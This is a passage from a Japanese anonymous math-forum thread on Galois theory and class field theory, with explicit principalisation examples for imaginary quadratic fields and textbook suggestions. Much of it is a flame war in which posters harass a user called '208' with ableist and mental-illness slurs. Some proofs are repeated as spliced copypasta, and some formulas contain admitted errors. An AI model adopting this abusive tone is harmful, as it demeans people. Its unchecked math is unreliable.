ちなみに、α、βは、f(x)=x^3-6*x-1=0 の分解体に含まれる。というのも
f(x) の根は、α+β、ω*α+ω^2*β、ω^2*α+ω*β（ωは１の３乗根 (-1-√(-3))/2）
だから。なお、f(x)の判別式は、3*√(3*31)と実数であるものの、f(x)の分解体は、
ω^2-ω=√(-3)を含むため、分解体は、√(-3)*√(3*31)=3*√(-31) から
わかるように、Q(√(-31))を含んでいる。

ただ、元の問題では、x^3+x+1=0の分解体といっているので、もしかしたら
違うかもしれん。皆はどう思う？

>>713
ここも過疎化しているから好きに書くとするか。。。
高木「初等整数論講義」の付録によると、1≦ｰm≦97の範囲でQ(√m)の
イデアル類群が、E, A, A^2 であるものは、m = -23, -31, -59, -83 の４つ。
各場合の単項化は以下のようにしてできる。

Q(√-23）の場合：

A=[2, (1+√(-23))/2]　の場合は、α=3√{(3ｰ√(-23))/2}
B=[2, (-1+√(-23))/2]　の場合は、β=3√{(3+√(-23))/2}

但し、3√は立方根を示す。

Q(√-31）の場合：
>>712、>>718、>>719でやったので省略。

Q(√-59）の場合：

A=[3, (1+√(-59))/2]　の場合は、α=3√{(7+√(-59))/2}
B=[2, (-1+√(-59))/2]　の場合は、β=3√{(7-√(-59))/2}

Q(√-83）の場合：

A=[3, (1+√(-83))/2]　の場合は、α=3√{(5-√(-83))/2}
B=[3, (-1+√(-83))/2]　の場合は、β=3√{(5+√(-83))/2}

炭坑かって何？

>>723
ちょっとミス。
> B=[2, (-1+√(-59))/2]　の場合は、β=3√{(7-√(-59))/2}
B=[3, (-1+√(-59))/2]　の場合は、β=3√{(7-√(-59))/2}

結論：ガロア理論において方程式論を軽んずることなかれ。

>>725
いい質問。スレ番209以降から読んでみると、よくわかるよｗ

>>727
お疲れ！　長い戦いはやっと終わったね。
あ〜っ、すっきりした。

念のため誰でもわかるように>>117の解答を書いておこう。

先ずは誤答例から。
10 + 2√5 のノルムが平方数で無いので、 Q(√5) の平方元にならないというもの。
しかし、例えば a√2 + b√10 の形の元の平方にならないとも限らない。

もし、n_1, n_2, ....... , n_k を自然数として、
√(10 + 2√5) ∈ Q(√n_1, √n_2, ....... , √n_k) とすると、
Q(√(10 + 2√5), i) ⊂ Q(√n_1, √n_2, ....... , √n_k, i)
左辺は円の20分体であるから、ガロア群は2次巡回群と4次巡回群の直和、
右辺のガロア群は2次巡回 念のため誰でもわかるように>>117の解答を書いておこう。

先ずは誤答例から。
10 + 2√5 のノルムが平方数で無いので、 Q(√5) の平方元にならないというもの。
しかし、例えば a√2 + b√10 の形の元の平方にならないとも限らない。

もし、n_1, n_2, ....... , n_k を自然数として、
√(10 + 2√5) ∈ Q(√n_1, √n_2, ....... , √n_k) とすると、
Q(√(10 + 2√5), i) ⊂ Q(√n_1, √n_2, ....... , √n_k, i)
左辺は円の20分体であるから、ガロア群は2次巡回群と4次巡回群の直和、
右辺のガロア群は2次巡回群の直和となり矛盾。

ガロア理論はこのような応用もあるということをご存じない方が多いようだな。
群の直和となり矛盾。

ガロア理論はこのような応用もあるということをご存じない方が多いようだな。

加藤和也の

Weil 予想とエタールコホモロジー

はいつ出るんです??

>>1
今日ギコナビを初めて入れてたんだけど、そんでこの絵を見たんだよ。
今まで何度も見てはいたんだが・・・　いやぁー、
すげぇー感心した。。。いや感動した。この絵を作るのは、ガロア理論を
作るより難しそうだな。

ｗ

２ちゃんねらーにはこのようなバカもいるということをご存じない方が多いようだな。

>>734
いやいや、すごい才能だ。世間が評価する体制にはなってないが。
ちなみに、おれ２ちゃんねらーじゃないからねｗ

念のため誰でもわかるように>>117の解答を書いておこう。

先ずは誤答例から。
10 + 2√5 のノルムが平方数で無いので、 Q(√5) の平方元にならないというもの。
しかし、例えば a√2 + b√10 の形の元の平方にならないとも限らない。

もし、n_1, n_2, ....... , n_k を自然数として、
√(10 + 2√5) ∈ Q(√n_1, √n_2, ....... , √n_k) とすると、
Q(√(10 + 2√5), i) ⊂ Q(√n_1, √n_2, ....... , √n_k, i)
左辺は円の20分体であるから、ガロア群は2次巡回群と4次巡回群の直和、
右辺のガロア群は2次巡回 念のため誰でもわかるように>>117の解答を書いておこう。

先ずは誤答例から。
10 + 2√5 のノルムが平方数で無いので、 Q(√5) の平方元にならないというもの。
しかし、例えば a√2 + b√10 の形の元の平方にならないとも限らない。

もし、n_1, n_2, ....... , n_k を自然数として、
√(10 + 2√5) ∈ Q(√n_1, √n_2, ....... , √n_k) とすると、
Q(√(10 + 2√5), i) ⊂ Q(√n_1, √n_2, ....... , √n_k, i)
左辺は円の20分体であるから、ガロア群は2次巡回群と4次巡回群の直和、
右辺のガロア群は2次巡回群の直和となり矛盾。

ガロア理論はこのような応用もあるということをご存じない方が多いようだな。
群の直和となり矛盾。

ガロア理論はこのような応用もあるということをご存じない方が多いようだな。

このコピペのどこが面白いんだがさっぱりわからん

わからん

>208にアラされて廃墟になったスレとはここのことですか？
>今度は、「数学の本」スレをアラしてるね。

そうだったのか

せっかく、Q(√-31）のイデアルの単項化について書いたのに
ほとんど反響がない。虚しい・・・
ここは、>>1のような萌え路線で再起を図るのがいいかもしれん。
作るセンスはないが、批評はできるｗ

炭坑炭鉱　探鉱鍛工

むなしくば　　たずねきてみよ

>>740
いやいやスマンな。あの問題はネットで検索したらあったやつなんだよ、実はね。
一応、答えはあったんだが、具体的に単項化する方法まで書いてなかった。
740の答えを見ると、一応よさそうな気がする。素人なので確信はない。
でも、よく思いついたね。偉い！　勉強になったｗ　他の場合にも
応用するところがにくいね。

さて、208は結局>>514は解けなかったか・・・　一応、努力はしていたようだが。
彼も難しいことをかなり知っているようだが、その知識はこの手の具体的な
問題を解くにはあまり役に立たないようだな。こういうことは世間ではよくあるけど。

あと、x^3-6*x-1=0 と x^3+x+1=0 の根の間に何か関係がありそうな気も
するのだが・・・　740がもしわかったら教えてくれ。たまにのぞいてみるから。
では。

>>743
>さて、208は結局>>514は解けなかったか・・・　一応、努力はしていたようだが。

バカヤロ。努力なんてしてないよ。興味なかっただけ。
そんなものいちいち解いてるほどヒマじゃない。

ついでに言うと、なんで皆、単項化の具体例に興味あるのかわからん。
絶対類体っていうと、なんとかの１つ覚えで、すぐそれだ。
別にいいけどな。

念のため誰でもわかるように>>117の解答を書いておこう。

先ずは誤答例から。
10 + 2√5 のノルムが平方数で無いので、 Q(√5) の平方元にならないというもの。
しかし、例えば a√2 + b√10 の形の元の平方にならないとも限らない。

もし、n_1, n_2, ....... , n_k を自然数として、
√(10 + 2√5) ∈ Q(√n_1, √n_2, ....... , √n_k) とすると、
Q(√(10 + 2√5), i) ⊂ Q(√n_1, √n_2, ....... , √n_k, i)
左辺は円の20分体であるから、ガロア群は2次巡回群と4次巡回群の直和、
右辺のガロア群は2次巡回 念のため誰でもわかるように>>117の解答を書いておこう。

先ずは誤答例から。
10 + 2√5 のノルムが平方数で無いので、 Q(√5) の平方元にならないというもの。
しかし、例えば a√2 + b√10 の形の元の平方にならないとも限らない。

もし、n_1, n_2, ....... , n_k を自然数として、
√(10 + 2√5) ∈ Q(√n_1, √n_2, ....... , √n_k) とすると、
Q(√(10 + 2√5), i) ⊂ Q(√n_1, √n_2, ....... , √n_k, i)
左辺は円の20分体であるから、ガロア群は2次巡回群と4次巡回群の直和、
右辺のガロア群は2次巡回群の直和となり矛盾。

>>744
こんな寂れたところ、いちいちチェックしているのか。暇なやつ。

> バカヤロ。努力なんてしてないよ。興味なかっただけ。
「バカヤロ」か・・・208の動揺が手に取るようにわかる。まあ、別に
解けなくても恥とは思わないから安心しろ。物知りな君があんな簡単な
問題解けないなんて愉快ではあるが。

>>745
> ついでに言うと、なんで皆、単項化の具体例に興味あるのかわからん。
一般的に具体例って興味を感じないか？　特に単項化については
できるとしか書いていない教科書ばかりだからな。俺は勉強になった。

とにかく、208には興味がないということはわかった。君は、抽象的な概念の
樹海をさまよいながら、厳かな顔をして、Ａｓｓ！！　と唱えるのが
似合っている。

ん−

>>747
>一般的に具体例って興味を感じないか？

場合によるだろ。いちいち単項化の具体例を確かめないと気が済まない
ような奴以外は皆抽象論しか興味ないのか？ 違うだろ。

Ass

>>749
k = Q(√-15)の絶対類体を求めたときは、やけに有頂天になっていたようだが、
k = Q(√-31)は結局わからなかったということだ。恥とは思わないから安心しろ。

もう、208は樹海に帰ってさまよってな。割り算という小石につまずいてひっくり
返らないよう、足下にはよく気をつけることだ。

>>751
208は「割り算」の意味をとりちがえるだけでも
おかしいが、恥ずかしくないところが
極めて異常な奴だ
これは208があす＠るがーだったとしたら
理解可能な現象だといえる

割り算ってお前まだ言ってるのか、、

単項化に関して言えば、上で挙がった例では、 k = Q(√-31)以外の
イデアル類群はすべてQ上のアーベル群。しかも位数はたったの「４」。
k = Q(√-31)になって、初めてQ上の「非」アーベル群が現れて来たわけだけど、
実際に単項化しているかどうかって、具体的に確かめることは、それだけで
興味津々だと思うが・・・　壮大な理論を学びながら、簡単な具体例しか
知らないというのは、虚しくないのか？

>>753
>>751が思い出さしてくれたし
前代未聞のバカネタだしな
通常の人間じゃ考えつかないよアノ反応は

ＶＩＰからきますた、数学の天才、ちょっときてくれ(`・ω・´)

開成中の入試過去問題にお手上げ状態┐(´ー｀)┌

【秀才】 この問題の解き方教えてくれ 【集まれ】
http://news19.2ch.net/test/read.cgi/news/1131301609/

>>756
マルチ無視

アスペの奴って人を見下してる事が多いからね。
自分を保つ一種の方法ではあるんだが

>>752

異常なやつの言うことを真に受けるお前も立派に異常だよ

>>754

だったら自分で解けばいいだろ。別に俺は止めはしないよ。
遠慮なくどうぞ。どうしても解けないときは、俺に頭を下げて頼めば
解いてあげるかもしれない。

>>760
何という発言。抗うつ剤の副作用か？

> 遠慮なくどうぞ。どうしても解けないときは、俺に頭を下げて頼めば
>解いてあげるかもしれない。

最後の言葉に自信のなさが表れているなｗ

>>761
>最後の言葉に自信のなさが表れているなｗ

計算問題だろ。解けるに決まってるんだよ。整数基底を求めれば
いいんだから。問題は、どの程度面倒かどうかだけ。

>>762
だったら求めてみな。Q（√-31）に関しては、すでに答えが出ている
からいいだろう？　君がやりかけて逃げた、x^3+x+1=0の分解体の
整数基というやつを使ってさ。

だから興味ないって言ってるだろ。しつこいな。
整数基底を求めるアルゴリズムはあるんだよ。
上のほうで俺が書いてるだろ。
後は力仕事。やりたいやつがやればいい。

600番台の書き込みを読めば、お前が整数基を求めようとして
失敗したことは明らか。そして、「興味を失った」というわけだ。
整数基だのアルゴリズムなどご託を並べずに、すぱっと回答を
示した740のひらめきはすごいと思う。ブル履き読んでるやつが
「力仕事」と言っているのをあっさり解いたんだからな。

整数基を求めようとしたのは単項化を確かめるためじゃないんだよ。
スレを読めばわかるだろ。単項化のたの字も出てないだろが。
初めから興味ないんだよ。興味のない者に自分の興味を押し付けるなよ。
そういうのはそれこそなんとかの兆候らしいぞ。

因みにBourbaki読んだからってどうってことないんだが(苦笑

>>759
208は自分が異常でないと確信してるらしいな
あほな自分だけ正常というのは十分すぎるほど異常だけどね

少なくともあのスレの割り算男よりは正常だと確信してるよ。
ってそんなの当然過ぎて何の保障にもならないがｗ
それに気づかない(ふりにしろ)お前等は(略

>>766
それがお前のやり方。解けないときのために、そういう用意を
している。そのくせ、できると有頂天になる。Q(√-15)の
ときのはしゃぎぶりがおかしいよ。

>>767
お前のスレで、お前が割り算でいじめられたとき、最後にはブル履きの権威に
すがりついたのは誰かな？

俺のやり方ってどういうやり方だよ。曲解するのも程があるぞ。
興味ないといったら興味ないんだよ。しつこいな。

Bourbakiの権威ってなんじゃそれは。あのスレの俺の証明で
十分だろ。あの証明がわからないってのは、代数の初歩が
まるで分かってないってことだよ。

>>770

お前は思いこみが激しいんだよ。自分の興味ある問題は
俺も興味あるはずと思いこみ、俺が何の反応も示さないと
それが解けないんだろうと思いこむ。
その自分中心の考えをひとまずやめろよ。

494 ：208：2005/08/08(月) 21:31:43
>>491

じゃあ、あなたは簡単でない具体例を知っているのですか
(急に言葉使いが丁寧になる)？
ぜひ教えてください。お願いします。ペコリ

>少なくともあのスレの割り算男よりは正常だと確信してるよ。

ははは
その正常な208が結局割り算がわかってなかったことは
どう説明するのか
おまえの正常はおまえだけのことだよ

208はどこに入院してるのかい

>俺の態度？ バカヤロ。
>俺が親切に演習問題を出したのに、それに対して嘘つけと言った奴
>の態度はどうなんだよ。そいつが出てくるまではおだやかにやってただろ。
>仮にその問題が間違ってたとしても(あの問題に関しては可能性ゼロだが)、
>別の言い方があるだろうが。

いまとなっては空しい言葉

>あの証明がわからないってのは、代数の初歩が
>まるで分かってないってことだよ。

つまり208は代数の初歩がわかっていないことが証明された
あの愚かしい割り算問題に一週間以上かかって
しかも208本人は解決できなかった

口先だけか

> 494 ：208：2005/08/08(月) 21:31:43
> >>491

>じゃあ、あなたは簡単でない具体例を知っているのですか

いやはや、208にも謙虚なときもあったんだね。
しかも、興味ないどころか、教えてください、と頭さげている
じゃないか。別人とか言うなよｗ

>その自分中心の考えをひとまずやめろよ。

うわっすごいはずかし

>お前が割り算でいじめられたとき、

やっぱりいじめられてたんだ

奴の反応が途絶えた。>>773がよほど堪えたと見える。
今頃必死に言い訳を考えていることだろう。

208かわいそ






んなわけないか

ここを見捨てて古巣に逃げ帰るか

しかしどっちが古巣だか

>そんなの当然過ぎて

かっかっかはははは
割り算をとりちがえた
おまえにはそういうことを言う権利はない！！！！！

>じゃあ、あなたは簡単でない具体例を知っているのですか

208も教えて君のときがあったんだね。よかったな、>>513が親切な人で。
感謝しろよｗ

>>785
>割り算をとりちがえた

取り違えちゃいないよ。n/p は割り算だろ。余りが０の割り算。
これを割り算じゃないというお前等がおかしい。
あの証明には余りつきの割り算は使ってないが、余り０の割り算
は使ってるっていうだけの話。これが何故こんな大騒ぎになるのか？
答えは、お前等が大ｘｘだから。

俺の冗談(芝居)を真に受けるとは(略

ﾌﾟ　釣り宣言がきましたよ皆の衆

釣り宣言=敗北宣言

>>787
見ましたかみなさん
見苦しいですね
また恥の上塗りでえす
これくらいバカだとどこに出しても恥ずかしくありません

むしろ、どこに出しても恥ずかしい立派な馬鹿です。
本当に有難うございました。

ブルバキの写経の威力はこんなにすごいです
自分が何をしているかすらわからなくなるほどです

>これが何故こんな大騒ぎになるのか？

こっちがききたいよ
おまえが知ったかこいたから
お灸すれられたんじゃないか

おまえがちゃんと理解してれば
すぐに解決した簡単なことだったのにね

>おまえが知ったかこいたから
>お灸すれられたんじゃないか

このバカが何のこと言ってるか分かる人いる？

>>795
そんな汚い言葉を使っちゃいけましぇん。208みたいになっちゃうでしょ
ぜひ教えてください。お願いします。ペコリ
とお言いなさい。

>>795
いまさら強がり言っても遅いのよ
おまえがどうバカだったかはみんなにマルわかりなんだから

いまでもそうやってごまかそうとするのはよくないね208

208のごまかしはいつまでもつづく
おしまい

>>788
くっくっくっ・・・　すぐにそうレスすればまだしも、
一晩考えてこれじゃあ、くくくクっ・・・
ブルバキやってもこの程度じゃ（クっクっク）

まさに・・・痩せた・・・・干からびた考え・・・・っっっ！
愚の骨頂・・・っ！！！

どうして208は自分の恥をそうやって晒そうとするのかな？
ちょっと理解できないね。

>俺が親切に演習問題を出したのに、それに対して嘘つけと言った奴

erai

>取り違えちゃいないよ。n/p は割り算だろ。余りが０の割り算。
>これを割り算じゃないというお前等がおかしい。
>あの証明には余りつきの割り算は使ってないが、余り０の割り算
>は使ってるっていうだけの話。

これは本気なんでしょうか？だれがモンキーやねん。
だったらまだ分かってなかったんですね。誰がカバやねん。
予想以上ですね。208だから仕方ないですけど。ロックンロールショー。

208のアタマの傷は遺伝なのでしょうか？
せっかく大学まで行かせてやり
機嫌良く数学やってたんですよ
でもある日
いつも座る席に知らない学生が座っていたので
すねて帰ってきました
それ以来なんです
家にひきこもったきりなんですよ

>>804

だから、どこがおかしいのか言えよ。
言えないなら引っ込んでろ、うすらが

>>806
ぜひ教えてください。お願いします。ペコリ
と言えば教えてくれるかもしれんぜ。

>うすらが

ですから
そんなことば使っちゃいけませんって
いってるでしょ

おかしいのが分からないの
あなただけなんですから

みんなにおしえてもらいましょうよ

でももう誰かが教えてくれてたわね
それを読めばいいんじゃないの

みんな208を暖かく見守ってね
すこし知恵遅れなだけですから

バカ検事：被告は殺人犯だ。

弁護士：証拠は？

バカ検事：ぜひ教えてください。お願いします。ペコリ
と言えば教えてあげるかもしれん。

バカというよりキチｘｘだな

>言えないなら引っ込んでろ、うすらが

そうやって出てきてまで恥かいてどうすんの？
趣味なの？

>>809
２０８がバカ検事？　爆発してるなｗ

わざわざ恥かくのが快感なんだよ

バカというより変態だな

274 ：208：2005/08/01(月) 18:33:37
もうちょっとましな煽りを考えたらどうだ。
まだ修行が足りんｗ

この頃はまだ余裕があったが、どんどん壊れていくね　>>　208

>>815

どうやら荒らしの的にされた様だな>>208。
ナリスマシの自演まで出ている様だから、名無しでやってくれ >>208。

割り算攻撃がそうとうこたえたようだ

やけくそになってる208

208さん、荒らしに負けずに続行、おながいしまつ。

新スレが立ってしまったが208はいずこへ？

208の焦土作戦成功か？

>>816
うん？　>>274は確かにこのスレにあるようだが・・・

待って板前。ほどなく旧208先生の水爆攻撃が展開されることになるからな！

爆衰攻撃？

水虫攻撃？

たのしみだね水虫攻撃
でも痒そう

奴の弱点は隔靴掻痒ということだ
208いや新生ルゴミ＋ガウスラは
そんなこけおどしには負けはしない

単項化の樹海を隔靴掻痒とオッカムの剃刀で
生き抜いてきた

ルゴミ・ウースラ

頑張れ再生まであとわずか

このままでは　ルゴミ　おまえは
ルゴマナイになってしまうぞ

類体論を知っているとほざきながら、絶対類体の簡単な具体例も
知らなかった208は逝ってよし。何が虚数乗法が必要だの、志村だの、
笑わせるぜ。

talk:>>830 「類体論」という言葉を知っている程度だったりして。

ところで、類体論は何を研究するものだったか？

>>831

ここで 208 に絡んでいる連中は、キング未満のゴミだから
訊いても無駄だよ。

まともな人が出て来て答えてくれる事はあるが。

talk:>>832 ガロア理論には類体論があるの？

>>832
208さん、名無しで本当におつかれさまです。

kingは208のことどう思ってるの？

>>831
数ヶ月前に出た嫌永の自伝を読むといいよ。釈迦に説法かもしれんが・・・

>>831
本人、以前には類体論は勉強してないとか言っていたようだが。
そのわりにしゃしゃり出てくるｗ

数学板が数学好きの素人中心だった頃は、208みたいなのも価値が
あったが、これだけ崩れが山ほどいるようになると、208みたいな
中途半端な知ったかには意味ない。

数学板が「数学ファンの時代」から「数学崩れの時代」に移行したということだね。
佐々木や上野のスレが繁栄した時期がその分岐点ということか。

>>837
類体論って何。

単位が取れる類体論が本屋に平積みされるまで待て。

アメリカ流7歳からの類体論もおながいします

>>838
建部賞発表かめくり葉書発送後かしらんが、

　2004年秋が「数学板・崩れの時代」元年

これだけは２ちゃん数学板の歴史に残すべきだな。

佐々木セクハラ事件で盛り上がり、藤原虚偽申請事件で祭りと
化した。2005年の建部・めくり時期まで崩れ関連の話題が持った
ことで完全に「崩れの時代」が定着したといえる。

今や、崩れの時代2年目に突入。定番コピペとしては
http://science4.2ch.net/test/read.cgi/math/1128822537/74
http://science4.2ch.net/test/read.cgi/math/1128822537/83
http://science4.2ch.net/test/read.cgi/math/1128822537/201
http://science4.2ch.net/test/read.cgi/math/1128822537/446
http://science4.2ch.net/test/read.cgi/math/1128822537/636

嫌永には類体論はわからない

>>843
なぜ？

類体論と私

なさけない

詳しく！

あれ？
喧嘩はもう終わったのか。

ﾂﾏﾝﾈ

ケンカというより、208の化けの皮がはがれたんで
お仕置きされていたというのが正しい。

類体論が分かる人はいないのか。

ここよりは本家の類体論スレで聞くのがよろしいかと。
ガロアスレでは、みんな断片的にしか理解していないと思うよ。
ただ、絶対類体に関する具体的なイメージがあるところが、
売りかな。

208さんが「写経」にもどられたようだ。
http://science4.2ch.net/test/read.cgi/math/1126510231/844-

ガロア理論を、体の拡大を群で統制する理論とみるとき、代数多様体上の分岐被覆の理論は、（多変数）代数関数体 のガロア理論の幾何学と言える。

>>ガロア理論を、体の拡大を群で統制する理論とみるとき、代数多様体上の分岐被覆の理論は、（多変数）代数関数体 のガロア理論の幾何学と言える。



難波さん??

>>853
誰のこと？

>>854
割り算のひとかも。

代数多様体上の不分岐被覆は何になるの？

代数多様体上の不分岐被覆は何になるの？

etale cover

etale cover
には一般にならない。
projective etale cover

類体論はくそ

What is projective etale cover ??

>>860
Who are you ?

Who are you ?

I am your wife.

>>862
ワラタ

>>863
おもしろさがわからない・・・orz

MORI

>>865
まだわからない・・・orz

>>866
おれもわからないが、適当に想像すると・・・

昔々あるところにMORIという数学者がいたそうな。
いつものように激しく数学に没頭していたところ、
目の前に見知らぬ女がたっていた。「あんただれ？」
と聞いたら、その女、突然頭から角を出して、「自分の女房の
顔も忘れたのか！」と激しく怒り出したそうな。
そして、「数学のやりすぎで頭がうすらになったか、このアホ」と
どなりながら、いつまでもMORIを殴り続けたとな。

これは、崩れても数学を続けることを戒める話として
昔から伝えられているものだ。この手のことが許されるのは、
アルキメデスか岡潔ぐらいと聞く。

Who are you ?

I am your wife.

Me too.

社会性のなさを露呈しまくりだな。

Riemonn kakka!!

Young Jump

おっπ

方程式の根から始まった理論

ビル・クリントン米大統領訪問時、英語が全くできない森首相は、側近から、

自分：『How are you?』
相手：『I am fine thank you, and you?』
自分：『Me too.』

と挨拶することを教えられた。

さて、いざ当日。森首相はクリントン大統領に会うなり、

森：『Who are you?』

と言った。
クリントンはびっくりしたが、すかさずお得意の機知を効かせて、

クリ：『I am Hillary's husband.』

と返した。すると森首相はこう言った。

森：『Me too』


クリ：『！！？？？？』

そういう都市伝説があるな
あと現米大統領にも似たような伝説がある

ラグランジュは方程式の根に対称性の着目した。
つまり、α1・・・αｎを根とするとき、
これらの添え字を適当に付け替えても、
それらの対称式たるx^kの係数は不変である。

ううむ、当たり前すぎて何がスゴイのかよく分からない。

【建部 】斎藤毅先生【Invent】
http://science4.2ch.net/test/read.cgi/math/1134743220/

>>873
面白いから、ジョークスレにコピペしたよ。

数学に関係あるジョークで笑わしてけれ
http://science4.2ch.net/test/read.cgi/math/1039205469/l50

二つの要因で、崩れる可能性が高まっている。
�@若手の業績水準の見かけ上のレベルアップによる
コネ採用度の増大
�A研究系ポストの教育系ポストへの転換

対処法
�@コネ採用を認識し、自分のコネパワーを増大させるように
働きかける。研究以外の方法でも沢山の先生方、中でも偉い
先生のご機嫌を取ること
�Aコネ採用の認識を広め、コネ採用が行れにくくなる方策が
できるだけ取られるように仕向けていくこと（これは一人の
努力としては効果は微々たるもの）
�B研究系以外のポストでも勝負できるように、その他様々な
能力、経験を積むこと

233

深度609

age

261

610

1000

age

このスペース馬鹿

類体論って、可解なガロア群を持つ体だけを相手にしているんだよね？

可換だよ

非可換類体論にも果敢に挑むんだ。











なんつって

>>890
うまいっっっ

俺が原因で熱い議論が続いたな。
古いやり方とアルティン流との違いなんだが、まず気付いたのは

アルティンのガロア理論のｐ36　theorem 13（寺田の邦訳版では定理13）　は　桂利行「体とガロア理論」
ｐ26　補題　1・6・4の演繹になっていると言う事。
俺は桂の本で古いやり方でやったんだが、桂の本では補題1・6・4を用いて
ガロア群の位数をまず上から制限していく論法が目立った。
アルティン流ではTHEOREM 13を用いて似た様にガロア群を計算していくと思われる。

ところでいまガロア対応を証明して作図題を仕上げたところ。
議論の争点のガロアの方程式論について誰かいい教科書知らない？
手元には桂・永田「可換体論」・アルティン「ガロア理論」
藤崎源二郎「体とガロア理論」
盛田康夫「代数概論」がある。

ッハッハッハッハッッハッハッハッハッハッハッハッハッハッハッハハッハッハッハッハッハッハッハッハk
ハッハッハッハッハハッハッハッハッハッハッハッハッハハッハッハッハッハッハッハッハッハk
ハッハッハッハッハッッハッハッハッハッハッハッハッハッハッハッハハッハッハッハッハッハッハッハッハk
ハッハッハッハッハハッハッハッハッハッハッハッハッハハッハッハッハッハッハッハッハッハk
ハッハッハッハッハッッハッハッハッハッハッハッハッハッハッハッハハッハッハッハッハッハッハッハッハk
ハッハッハッハッハハッハッハッハッハッハッハッハッハハッハッハッハッハッハッハッハッハk
ハッハッハッハッハッッハッハッハッハッハッハッハッハッハッハッハハッハッハッハッハッハッハッハッハk
ハッハッハッハッハハッハッハッハッハッハッハッハッハハッハッハッハッハッハッハッハッハk
ハッハッハッハッハッッハッハッハッハッハッハッハッハッハッハッハハッハッハッハッハッハッハッハッハk
ハッハッハッハッハハッハッハッハッハッハッハッハッハハッハッハッハッハッハッハッハッハk
ハ

>>892
>俺が原因で熱い議論が続いたな。

違うのでは？

発端はガロア理論を理解するのに歴史的に方程式論からやるのは
どうかという提案が発端だったと思う。それに対して、現代では
方程式論は重要ではないから必要ではないという主張が
あった。両者で議論が白熱して、最後は絶対類体の具体例にまでいった。
208が涌いてきたので収集がつかなくなったが。

>>894
>208が涌いてきたので収集がつかなくなったが。

湧いてきたのでっていうのは、どういう意味だよ。
俺は蛆虫かよｗ
その議論は俺の>>208が発端だし、類体論の話も俺が発端なんだよ。
有意義な議論だっただろ。

>>895
それを言うなら>>206が本当の発端だな。お前は荒らしている
ようにしか見えなかったぞ。その結果、お前専用のスレができた
わけだから、君にはその甲斐があったかもしれんが。

しかし反応が早いな。kingみたいだｗ

>>895
有意義かどうかは読んだ人が判断すること

俺は有意義とは思わなかったが

>>897
>有意義かどうかは読んだ人が判断すること

そんな当たり前のことを。
早い話、類体論に興味ないやつには有意義もくそもないわけだし。
俺はそういう奴を当然除いてんだよ。

因みに、類多論に興味ある奴で絶対類体の具体例に興味ないって奴は
かなりの変わり者だ。

>>396
>しかし反応が早いな。kingみたいだｗ

偶然だよ。奴と一緒にすんな。
じゃあ、１６分で俺に反応したおめーは何だよｗ

talk:>>896 私を呼んだか？
talk:>>899 名に考えてんだよ？

>>899
2chのブラウザ使ってない？

>>901

そんなもん使ってないよ。
でそれがどうしたの？

>>898
>因みに、類多論に興味ある奴で絶対類体の具体例に興味ないって奴は
>かなりの変わり者だ。

まあ、君がある程度がんばったことは認めるが、挙げた例の類は
日本語の本でも出ているからね。要するにイデアル類群が一番簡単な位数２の
場合だからな。位数３の場合を具体的に絶対類体を構成した香具師がいたけど、
そっちの方が興味があったがね。

クンマー拡大 VS ガロワ拡大

>>903

その例は奴がネットで見つけただけだろ。
別にそれでもいいんだよ。誰がどうこうって問題じゃない。

そんなこと言うんならはなから

> その議論は俺の>>208が発端だし、類体論の話も俺が発端なんだよ。

とかなんとかいきってんじゃねえよ蛆虫

>>906
>そんなこと言うんならはなから

>>892なり>>894が最初に振ったんだろ。俺じゃないよ。

香ばすい

>>895
＞俺は蛆虫かよｗ

よくわかってるじゃないかｗ

蛆虫出るなこの馬鹿king

talk:>>910 何考えてんだよ？

まぁなんでもいいや。ガロアの方程式論に関するよい教科書誰か教えてくださいな。

Postniｋovの本がいいと思う。

Jean‐Pierre Tignol の「ガロア理論」（共立）はどうよ？

ガロア理論に挫折した人のためのコース

つ群の発見

ガロア理論そんなつまづくとこないと思うんだが。

数学そんなつまづくとこないと思うんだが。

　　　　　　　　　　　　　　 　 　　　　 　　　┌-―ー-';
　　　　　　　　　　　　　　　　　　　　 　 　　| (・∀・) ﾉ
　　　　　　　　　 　 　　 ＿＿＿＿ 　　　　上―-―' 　　　＿＿＿_
　　　　　　 　　　　　　　| （･∀･） ｜ 　 ／　 ＼　　　　　 | (・∀・) |
　　　　　　　　　　 　 　 |￣￣￣￣ 　 （￣￣￣） 　 　 　 |￣￣￣
　 　 　 　 　　 　 　 　 ∧ 　　　　　　 （[[[[[[|]]]]]） 　 　 ,∧
　　　　　　　　　　　　<⌒>　 　 　 　 [=|=|=|=|=|=]　　　<⌒>
　　　　　　　　　　　／⌒＼ 　 　 　 _|iﾛi|iﾛiiﾛi|iﾛ|_∧ ／⌒＼_
　　　　　　　　　　　］皿皿［-∧-∧|ll||llll||lllｌ||lllｌ|lll|￣|]皿皿[_|
　　　　　　　　　　　|_／＼_|,,|「|,,,|「|ﾐ^!､|]|[|]|[|][]|_.田 | ∧_ 　]
　　　　　　　　　　　| . ∩　 |'|「|'''|「|||:ll;|||}{|||}{|||}{|||}{|,田田.|__|
　　　　　　　　　　　|￣￣￣￣|「|￣￣||[[|門門門|]]|[_[_[_[_[_[
　　　　　　　　　　／i~~i' l ∩∩l　.ｌ　∩　∩　 l　　|__| .| .∩|　.|　l-,
　　　　　　　,,,,,='~|　|　|' |,,=i~~i==========|~~|^^|~ ~'i----i==i,, | 'i
　　 　 　 　 |　l ,==,-'''^^　 l　 |. ∩. ∩. ∩. |　 |∩| 　 |∩∩|　 |~~^i~'i、
　　　　　 ,=i^~~.|　 |.∩.∩ |,...,|__|,,|__|,,|__|,,|__|,....,||,,|.|,.....,||,|_|,|.|,....,| 　 |　|~i
　　　　 l~| .|　　|　,,,---== ヽﾉ　　　 i　　　　ヽﾉ~~~ ヽﾉ　　 ~ ソ^=-.i,,,,|,,,|
　　　　.|..l　i,-=''~~--,,,　　＼　 ＼　 l　　　／　　　／　　　　／　　__,-=^~
　　　　|,-''~　-,,,＿　　~-,,.　 ＼ .＼ |　.／　　 ／　　＿,,,-~　 　／
　　　　 ~^''=、＿ _ ^'- i=''''''^~~~~~~~~~~~~~~~~~~~~^''''''''=i -'^~
　　　　　　　　　　 ~^^''ヽ　ヽ 　i　ｼﾞｴﾝｷｬｯｽﾙ　/　 ／　 ノ
　　　　　　　　　　　　　　ヽ　　、 l　 |　 ｌ　 l　/ .／　　／
　　　　　　　　　　　　 　 　 ＼_　、i ヽ　 i　 /　　　,,=='
　　　　　　　　　　　　　　　　　 ''==,,,,＿＿＿,,,=='~

おわったな208

佐武「代数学への誘い」と
シャファレビッチ「代数学とは何か」
面白いね

ついに量子ガロア理論が完成しました

>>920
お子さまだな

シャファレビッチに関しては同意
教科書として読んだりあれだけで独習したり出来る代物じゃないが
（まあ、encyclopediaシリーズの一巻だから当たり前なんだけどね）

